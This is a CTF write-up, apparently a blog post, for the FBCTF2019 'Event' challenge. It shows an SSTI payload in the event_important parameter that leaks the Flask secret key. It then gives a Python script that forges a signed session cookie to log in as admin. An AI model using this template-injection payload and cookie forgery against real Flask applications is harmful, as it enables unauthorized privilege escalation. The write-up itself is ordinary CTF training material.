[FBCTF2019]Event

打开题目,只有一个登录注册框,无法使用admin登录注册
在这里插入图片描述在 /flag 页面中提示我们并不是管理员,猜测要得到管理员权限才可以Get Flag
在这里插入图片描述
在主页看到表单,先随意输入一些值进去,页面回显了Name of your event 的值
在这里插入图片描述
在这里插入图片描述
这里有可能存在xss或者SSTI,尝试后,无css,应该存在SSTI
抓包发现cookie,event_sesh_cookie应该是jwt加密过
在这里插入图片描述
大致猜测出本题应该是可以通过SSTI得到密钥伪造cookie,越权登录admin的账户
在提交数据的时候,有三个可控参数,经测试在event_important参数存在模版注入,输入__dict__,发现成功回显
接着查找配置文件:__class__.__init__.__globals__[app].config
在这里插入图片描述
得到的密钥为fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y
使用flask-session-cookie-manager脚本对cookie进行解密,解密得

{'_fresh': True, '_id':'8b6d6fd19fd9858e95e3f61d19e9c27b2aa6a90cd137be5835bfb650aaa1fcca9824642c9a6e98b3b60dd0a629bb50b19c83c251656db2531c8d2fe7a4501e36', 'user_id': '1'}

尝试修改user_id的值并不能实现越权,因此要关注另外一串cookie user
IjY2NjY2Ig.X3L06w.aL_kfz7lIbOLXUp83dWdQgOHKQY
但是我们不知道这个cookie的加密方式,不过已知密钥,即可伪造签名
构造exp

from flask import Flask
from flask.sessions import SecureCookieSessionInterface

app = Flask(__name__)
app.secret_key = b'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y'

session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)

@app.route('/')
def index():
    print(session_serializer.dumps("admin"))

index()

在这里插入图片描述
ImFkbWluIg.X3L9vw.Vjo-AqvLZVgpr5ZM6DZ3GaN_zSo
然后将签名替换上去,即可成为admin用户,Get Flag
在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值